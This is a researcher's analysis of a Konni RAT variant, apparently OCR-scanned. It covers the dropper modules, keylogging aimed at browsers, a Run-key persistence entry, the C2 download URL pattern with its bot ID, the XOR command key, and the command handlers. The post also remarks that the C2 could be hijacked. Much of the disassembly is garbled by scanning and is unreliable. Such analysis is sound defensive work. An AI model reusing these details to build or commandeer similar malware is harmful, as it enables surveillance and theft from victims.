Analysis of new variant of Konni RAT
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These days TaloslIntelligence commented about a new variant of Konni RAT. It is not a
complicated malware, but it implements some interesting tricks and functionality typical of
RATs. | wanted to take a look at something different (there is more life after the ransomware
) and in this post you can find a brief analysis of this RAT. | hope you enjoy it.

Before startintg with the post, i would like to refer to you to the TalosIntelligence analysis of a

previous variant of Konni. New variant is similar to the variant analyzed in Talos post.
However there are some different things. In addition i reversed different parts of the code,

and i give other details. For this reason i recommend reading both posts if you are interesting

in having a good knowledge about this RAT.

Modules

We have the sample f4abe28f3c35fa75481ae056d8637574. It is a dropper that is able to

drop different PE files depending on the architecture (32 / 64). If we unpack the dropper we
can find it has two PE files and two DOCX files into resources:
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Docx file1: 63a43fe8874fbbf3adb1b9aeb03adb6bfaa2935a40bb1893e90e3ab762dd44bd

Docx file2: a12db66cb7b7b991ac2ba736fb48e04566ffd2defdcb08fb9a8ab3781253f73c¢
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PE file1: 290b1e2415f88fc3dd1d53db3ba90c4a760cf645526c8240af650751b1652b8a

PE file2: 8aef427aba54581f9¢3dc923d8464a92b2d4e83cdf0fd6ace00e8035ee2936ad

PE files are packed with ASPack v2.12.

We wil

| analyze the 32 bit version.

RAT module

The 32 bits rat module is installed into this folder:

C:\Users\<user>\AppData\Local\MFAData\event\errorevent.dl|

And the Run registry key is modified:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]

‘RTHDVCP”="rundll32.exe C:\\Users\\javi\AppData\\Local\\MFAData\\event\\errorevent.dll

check”

After removing the ASPack v2.12 layer, we take a look into the malware with IDA.
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The malware installs a windows hook and because of this, the errorevent.dll is loaded into
machine’s running processes:

textzaDal1ha3a

Jtextz6DAT1A30 DoSetWindowsHook proc near ; CODE XREF: Install+BCLp
textzaDA31hudn mou rax, [ecx]

fextoaDB3 1432 push A

text:aDA31434 mouy duord 6DO4BAYE, eax
SLexCoabo3143y mowy BCy, [ecx+hd]

Jdtextoobad 1430 push BCK

JdextooDad1aab push of fFset SetWindowsHookCallback
JfextoaD@dihn? push 3

SteRtoADAI 1LY call ds:USER32 SetWindowsHookExW
text a0 A3 144A mou dword 6DB4ERES, eax
SLertoobes1 a4k retn

textzoba3144F DoSetWindowsHook endp
StextooDad1hhF

In the SetWindowsHookEXx callback, it logs and queues keyboard events together with the
window where they happened. Another thread analyzes the keyboard events, and it keeps to
a file events happened in browser processes:

Lext o 6DBITATA

Ltext:60A37A90 ThreadWorkWithBrowsers proc near ; DATA XREF: DoCreateThread
Lextz6DB3IAYA
Ltertz6DA3TAT0 var 108
LLexCioDBIFAYE var &
fext6DAITATA

hyte ptr -108h
dword ptr -4

Lext:6DA37A00 push ebp

Stexti6DAITA iy ehp, esp

et :6DA37A93 sub esp, 188h

LLextioDBI ALY Moy eax, duword oDEsATAB
text:6DAITATE ®Ov eax, ehp

LLext6DO37ANG moy [ebp+var_ 4], eax

Sbext t6DAITAND Cmp duword GDAWABAEAR, A

et 6DB37AAA jz loc_daDB37BFD
Ltextz6DBIFARA push 184h

Ltext 26D A37ABS lea eax, [ebp+uvar_108]
LLextioDBd/ABE push B

Ltext6DAITARC push ]

et 603 7ABE call ds :kernel3? GetModuleFileHameAStub_
textzGDBITACH lea ecy, [ebpruvar 108]
LLexti6DB37ACA push BCX

LdextzoDBdiaco call Sub_oDe4hahs
text:aDA3I7ADG add esp, 4

LLextib6D B3 ARG lea edx, [ebpruar_10H]
text-6DAITADD push el

et 6DB37ADA call ds :SHLWAPI PathStripPatha_
Ldext6DBITACD push ehx

.text:6DA37AEA push esi

Stexti6DA3SAEZ mou ecx, offset alexplore_exe ; “iexplore.exe’
text:6DAITAET lea eax, [ebp+uar 108]

etz 6DB3IFAED push edi

It checks these processes names:

Fdata:6DBLSFOC aPsiphon3_exe  db “psiphon3_exe’ .0 : DATA XREF: ThreadWorkWithBrowsers:loc 6DB37R75To

Lrdata:ahBySsF19 align &

ddata:abBuSF G d[:hrnne__exe db *chrone.exe’ 8 - DATAE XREF: ThreadWorkWithBrowsers:loc GDB3TEL4STo
rdata:6DBUSF27 align &

JdatazahiaSF?e aFirefox exe db *FireFox.exe”® 0 > DATA XREF: ThreadéorkWithBrowserszloc ADBITEASTo
rdatatéDBSFIN alexplore_exe db ‘iexplore.exe’ 0 : DATA XREF: ThreadéorkWithBrowsers«52To
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Interesting keyboard events are logged to the file:
C:\Users\<user>\AppData\Local\Packages\microsoft\debug.tmp

Other files are used by the RAT in the process of managing commands:

LrdatazoDBss5E4y asDebug tmp db ‘%sh\debug.tmp’,8 log keyboard events
rdata:obo4SEhy

rdata:6DBLSRES align 4

rdata:6DEUSESYS aSPackagesHicro db "%s\Packages\microsoft" .0
rdataz6DEMSETE aSRepaired db "%s\repaired®,0 used to Keep downloaded commands
pdatazabALWSERL aSSamed db "%sysamed' ,B
-rdata:6DBASERD align 18h

Fdata:6DBYSE9d aSTedsul ocx db “%shwtedsul.ocx’,®
rdata:6De4sEPE align 18h

rdata:aDBYWSEARB aSHelpsol _ocx db "%svhelpsol.ocx®,8
rdata:6DBUSEAF align 1@h

-.rdata:6DB45ERB aSTrepsl_ocx db ‘Zsytrepsl.ocx' ,@
rdatazabdBsSEBE align 1ah

rdatazol@4cECe asPsltred ocx db “%sypsltred.ocx® ,8
-rdata:6DBLSECF align 16h

rdata:6aDBAYSEDA aSSolhelp ocx db "%s\solhelp.ocx',®
.rdata:aDBuUSEDF align 18h

.rdata:6DB45EER aSSulted ocx db “%shysulted.ocx®,@
-rdata:46DB4SEEE align 1dh

rdataz6DBAMSEFA aSHicrosoft dbh "¥s\microsoft’ ., @
rdata:6aDBAYWSEFD align 18h

.rdata:aDBLSFAA aSPackages dh ‘%sywPackages',®

Malware dll is injected into multiple processes. To monitor what malware files are created
and written we can use this breakpoint with instructions (it is splitted in multiple lines for
better reading):

bp NtWriteFile -> when NtWriteFile hit, execute the next script
“.foreach (tok { 'handle (poi (esp+4)) }) -> search “Packages” in the path

{

if ($spat(\"${tok}\”, \"*Packages*\”) |= 0)

{

da (poi (esp+18));.break; -> if found, print the data written
}

59y

bp NtWriteFile “.foreach (tok { thandle (poi (esp+4)) }) { .if ($spat(\"${tok}\", \"*Packages*\") =
0) { da (poi (esp+18));.break;}};g;”

The other RAT functionality is executed under demand, as we will see it in the next section
about communications.

Communications
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The malware executes a thread for communications with the CnC. It asks for commands
each 15 minutes. A file with commands is downloaded and parsed, and the commands are
executed (and the results uploaded to the CnC):

ThreadGetComnands proc near + DATA XREF: Thread¥WorkWithBrowsersSublnportant+15CL0
var GG = byte ptr -8CCh
var_h = dward ptr -4
push ebp
now ebp, esp
sulb esp, BGCh
oy eax, dword_sDBSATAAD
Ko vaw, ebp
noy [ebpruar_&], eax
push esl
moy esl, ds:kerneld?_SleepStub_
lea eha, [ebx+D]) I
loc_AD@3ITACE: ; CODE XREF: ThreadGetCommands«62) j
push HOREN Bh ; sleep For 15 minutes befores asking For more conmands
call esi ; kerneld2_SleepStub_
push ofFset File download ; -» CASD224D (id For this bot. Calculated based
: on computer info amnd installation date)
push afFset aMemberDaumchk : “menber-daonchk oaetal ooet®
1ea eax, [ebp+uar CC)
push offset aHttpSvegetDownload_ph ; “‘http://isfweget/download.php?file=%s_dr"
push ERS
call log2file
lea ecx, [ebprvar CC] ; http://menber-daunchk.netal.net/weget/download .php?File-CES023580 dropocon
push ofFset path_repalived ; C:vUsersyjaviveppbatasPackagesinicrosofthrepalred
pusih 1=
call PolnternetReadrile ; Here it 15 downloading the commands Flle.

; In the function ManageCommand It will parse
; the File and will execute the commands

add esp, 18h

push 2710

call esi ; kerneld? SlecpStub

call Hanagel omnands

j-p short [nc_ﬁhﬂ;’i?it. : sleep For 1% minutes befores asking For more comnands

ThreadGetCommands endp

The RAT calculates a value based on the installation time and infected computer info, and
that value is used as bot_id to identify the current infected machine. In my case it generated
CB5D234D.

To download the commands it connects by http GET to:

http://member-daumchk.netai.net/weget/download.php?file=CB5D234D_dropcom

GET SwegetSdownload. php?file=CBSD2340_dropcom HTTP/1.1
User-Agent: HTTP
|Host: member-daumchk.netai.net

Itis:

http://<domain>/weget/download.php?file=<bodid>_dropcom

This new variant uses wininet api to connect CnC (Talos analysis about the previous variant
says the RAT was using winsock api connect, send, recy,... instead of http specified api):
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push
push
mow
call
mow
mi
Fest
iz
push
push
push
push
push
push
call
mou
Fest
jz
mou
push
push
call
LLLILE
ddid
Lest
iF
LLLIRE
LRI

lea
push
push
lea
push
push
call
mow
push
push
push
lea
push
call
now
add
add
Lest

After downloading the commands they are decrypted (key “xzxzxz”) and parsed:

4
of+sel aHttp : HTTP™
[ebp+uar_4EH], eax
ds:uininet_Internetipenn_
edi, Pax

[ebp+uar 41@], edi

edi, edi

loc_6DH35ERY

ELIES

EIIES

e

ELIES

esi

Bl
ds:zwininet_Internetipenlrla_
esi, Pax

esi, esi

loc_6DA3SE9D

BLx, [ehpruar 4HE )

affselt unk_6DB45ATH

BPLX

sub_6DA3FERR

edi, pax

esp, &

edi, edi

short loc 6DBA3SE98
[ebpruar 48E], HAh

edi, edi

; CODE XREF: DolnternetReadFile+BDLj
; DoInternetReadFile+C5)j

edx, [ebpruar 48C] ; suspicious loopdincdec )

edx

L Aah

eax, [ebpruar 404]

Bax

CES

ds:wininel InternetReadFile

ecx, [ebpruvar 48C)

edi

1

BCX

edx, [ebpruar 404]

edx

sub GDA3IFZET

eax, [ebpruvar 48C)

esp, 108h

ehx, pax

eax, odx
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push
push
call
mouw

push
mow

call
push
call
push
push
lea

push
push
call
lea

push
push
call
mow

add

test

jz

offFsel aR H o
offset Path_Repaired File
sub_ GDE37ERR

edi, rax

edi

[ebpeuar_Ad8], edi

sub GDB3IPELE

eax

sub_6DENLARS

edi

eax

edz, [ebp+uar AZC]

1

edx

sub_6DB39173

eax, [ebp+uvar AZE)
offset axzuzxz
e ax
DecryptCommands
ehx, eax

esp, Z8h

ebx, ebx
errorCheckindbecryptConmnandsFile

RzuzRz"

The decryption function:

BECrypLComRARDS PFOC MESF

; FUMECTIOMH CHL
1 FUMCTION CW

Lloc_&bEadaCEs:

Lo _&pRgEcon:

loc_&beadachi:

Ine_EHEIRCHA:

Loe_&BbESAENE @

; CODE KREF 1 MamsgeCossandssillTp lac B0 EFEEER:
; ManagprCommands =7 Tp o
1 HsnageComnands 350 Tp
= duord pir &
= duwerd ptr A
T .Eewt:6DBIEIFE SIZE DORDODES HYIES
[11) et (GDEM1RE SI7E DASIRNEE AYIES
o ex, [espeheg]
push (3]
puh [
pursh 5
Aoy i, [ecx]
ROy edl; [esprDimsbuf]
Eest ai, dl
jz shart lec SAPEIE0ZE
L o, [ecxel] Loc_ 0 ik b ;
Eenl ah, dh
j= sbart Lec GEO080 0
: COODE KEEF: PecrypRiemmands-5Hj]|
i DeorppiGesmands =60} |
L] eEl, e ;  suspiciews loapi{uer }
Lo eiE, [efpeBinkey]
o a1, [eel]
add e, 1 loz_GDERED 19 :
g al, d1
iz shart Lsc_SBO3SCHE
Eeat al, al
j=z shart lTec_SREIECEE
: CODE XKEEV: BecryplComiands 36j]
moy al, [esi]
Ak sl 1
10 &l EFeb? o
: CODE KREF: DecryplCommands+aS)]
ong al,; d1 i susplciess_loap(wer )
jz shart Isc S0B3ECEE
Eest al, al
Jnz shart Lec_sRmINCCN
: COOE EREF: DecryptComnands+297]
pog sl
pop L]
Pop L
wor BEE, EAX
relm
2 CBDE XEEF: I!lm'.rgpl:l!-ummhﬂrj
: Decrypiiesmands =521 |
ma &l [esl]
add esi, 1
(4.1} al, dh
Jnz Ehai't 1ac_SBRANCEE © suipledous_loap(xor
Ira e, [#ai-1])

i COBE XREF: DergptConmands+an)|

#h, [ecu+d]

ah, a&

shert loec SDEISS1P
a1, [exd]

wal, 7

al, aa

shasrt loc SDEISCEE

al, [ecu+3]

a1, a2l

short loc &DEISSAE
#h, [esi=1]

rex, T

al, ah

shert loc SDEISTER

shert loc_SDEISCEE

:
PaX, PAE
el
#hx
Fil
al; 41

Ine_&R03E 1846

susploines_Losgdeor )

Suspliiows_loepleor )

CORE XREF: Decrpptlonmands+151 ]

i COBL XRIN: DwecrgptConmandss&f @]
i Deerypptiammasds«SFTj

wax, [e0i-1]
sl
b
rdi

; COBE ZREF: Decrpptlonmands+FT {

rax, wdi
esi
shw

Seeing the communications code, it seems it would be not difficult to create a fake CnC to
control a bot (not RSA keys or something like that are used to certify the command comes
from the author).
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Once decrypted it starts to parse commands:

align %

syitchCommands dd offset

loc &DB3748046 ; DATA XREF: HanageCommands+12F Ty

dd offset ManageCommandUploadComputerinfo ; jump table for switch statement
dd offset ManageCommandCaptureScreen
dd offset ManageCommandGetFSInfo
dd offsel ManageCommandGelFSInFo2
dd offset ManageCommandDeletefile
dd offset HanageCommandExecute
dd offset loc_6DR37TSE
align 18nh
= T = T et T
hnE ol s = il i =
panagw Dinna ity sadlangslar lnfa ;| Jusptaale SREFET case 1] (RanegelomancCaptursiorem: § Jenplale SERIPUT caws T Pt rlambanletf G lade: | |emtable AREITSIE caer 3
anl ErlComputer 1ade Eall Caplurelcrees iea win, [ebpewar 0]
fraam Fuin pusy wifRrt k_sSmiiie push e
all eai ; WereeldR_TlesphEub P eifart s¥rprilplesdie | *lucget neite.phy call Eelleetl ey steninfel
bean  aFFTEr usk_ddmet11d T P SEElAY RO BEL =t (e #ag, &
paih M P rl avegertlUplasd b w ipr Lt Lead . pib call Bl Epf el push 140 & il
- SFFTRT JNERRA BT | e ey e T rop, pakl esl [ Merssld fleepliug
all SublLpfuil push 14adEn pil  affeel sk ADCE1E
™ sup, Wh wall Ful | eeneldT_Lleeptiee Ptk ailsen sweget Uplaad_ph v g S ead, gy
2ok THnEk push pifurt bk AFEADIIR pusk  offuet sdemerbssech e - of ekl met sl mait
all €31 | WerseldY_Llespliub_ i4ll pdeleied e Ll [ LAF I 1d
bash s Fnrt unk 48R 114 axdd 2 PR wid 5@, Eh
all Subeletefile | L EDEITHE jumptale SRBAFSFF Oifaall ca il TE#F
= aip, & cakl #il | MewasiY Slaepliul
- Hor s e : Jusel sl AEETFIET dedan Pk adfael sk ADBRCNTH
call Bedwiatedile
e wag; &
g Lo R jumpianle GHEITSFE defpult case
—_———————]
¥ L]
] = bl =
RabepriomaniGelF Sinfed ! | jumptable ADEFSFF Case & mgnggriemsameleief lie: | jesprasle sBEITSF case © Haviguivamaidleac e i Jemilible SOBIISEF dddi @
T s, [ ebgresr EC) Lis B, [whpswar D) pcs L}
aush v ] wrx push ¥
calil Esblectl | leagat radnial call DeBeletel ile s L
e g, ] g, b Ire i, [ehpavar CC]
Juss =T oy Lo _#BITER jempiable (ARIISF dedsmli case pusk el
£alll vil | BEFneld? Eleepibel putk  wifurt allpes P
puEN EEFCHT ki _dlmiTid P, L
AUEE ePERE aeqrLip baded h ; " rueqeEiaploel pag call i IMELLAY Skl REwwcubed_
prisn e P T s awial el s mar
calll budlt tpFant i Lo SEEITENT
[ Fig, W
pueln T
£all Rl | Eiw el _Shewpd el
puch wiieet ek dBBLT1E
calll bideleled Ll
ag g, A
1, T SDENTHES mptahle EIRITRET el st

Command for collecting computer info

With this command the malware collects different information about the machine:
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QT
call
lea
push
push
push
call
adil
Lea
push
lea
push
nnu
call
lea
push
push
push
call
push
fush
call
aldd
nnu
call
now
nou

push
s
call
push
rall
[ush
push
push
call
push
push
call
iy

push
push
call
push
lea

push
sl
niry

call
add

push
lea

push
call
o

call
add

pusl
push
call
pusl
call
push
push
call
o

add

el var 166G ], edy

dszleernel 32 GetGonput erHanei_

eax, [ehptuar ERR]

Bax

offset aThisComputerid ; “This computer’s name is s
et

siib GDAITLED

eip, OCh

ook, [ehprvar_ 1405 )
R

edi, [ebpruar_1608]
eidx

| rbprvar_tael], edi
dsiRBURFTIE GetlserHanen
eak, [ebprvar_1608]

eax

offset aThistomputersl ; “wwrinThis conputer’s usernane is %5
esl

sub_GRAITCED

offset abrivelnformati ; "wenbeiove Infornation is as follow yryvn
exi

Sidb GROIIETD

esp, 1&h

[ehpruar_1618], 1

ds:kerneld? GetLogicalbrivesitul

edi, dsikerneld? GetUWolunelnForsationd_
ebx, duthernel2? Getbrivelypenstub_

oFfsel alsls : “wryvm 0% i5 & ™
esi

b GONETLEFY

Bgi

Lub_&DO2FCIF

aFFset afraductnase 3 Uprodoctnane

offset aSoftwareMice B ; "SOFTHARFVAHLcrosofty\Windows HIWVWCorren'™. ..

ARBEODOZN

sub_GbDiEs1La

aFfset an 2 g

afFfzet unk GDaWCt18

sub_GDOZFERD

rni, cax

afFset aSystemType ; " Sysktem Type: ™

es5i

sub_6DIEFEES

1EGhR

eds, [ebpruar 107]
1}

rdx
[ehpswar 16H], B
_sub GRDIEEGA

esp, 2uh

1 Bk

eax, [ebpruar 108]

eax

dukerneld? HegisterConsolelHE
edi

suh GDESTCFE

esp, @

vFFset aStartmenuProge 5 “wrinStartlenuy Progransysyn®
rei

siih GDRATCFE

Bai

suli_abEveeE

nfFFset aSottuarellasse
ROARBRNZH

sub_G0ERSERD

rex, [whpevar &)

esp, 1hh

y CEOFTUAREA A classesywaanstal leedwproducts”

Command for screen capturing

Capture of the screen it is done here:
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E-EFEHIIIJ-:IPLUP'E proc medar

arg 8= dword ptr 8
arg b= dward ptr  @Ch
arg_B= dward ptr  1ih

arn_

push
mou
push
push
push
push
call
mou
mou
mou
push
push
push
call
push
call
mou
piish
push
call
mou
mou
push
push
push
push
call
push
mou
pus=h
push
push
push
push
call
mou
push
push
pus=h
call
add
push
call
pop
pop
mou
pop
Pop
retn

= dward ptr 1&h

ehp

ebp, esp
ehx

251

edli

i}

ds:G01A? CreateGonpatibled

ehx, [ehpearqg (K]

edi, eax

cax, [ebpearg 8]

ehx

[EL

]

ds:USER32 HtlserGetDC
sax

ds 260132 CreateConpatiblefitnap

esi, Pax

(31

edi
d5:60132_SelectObject_
ecx, [ebpraryg_h]
edx, [ebpraryg @)
BCCHE2Bh

BN

el

1]

d5 tUSERAZ_HENSerGetDl_
ra

eax, [ebpraryg_ 8]
ehx

eax

]

i}

e
d5:GD132_BitRlt_
ecy, [ebpearg _#]
e

[ H ]

esi

sub GDBIOHEE
esp, HCh

85l

ds:G0132 Deleteldhject
el

esi

al, 1

ehx

ehp

screencapture endp
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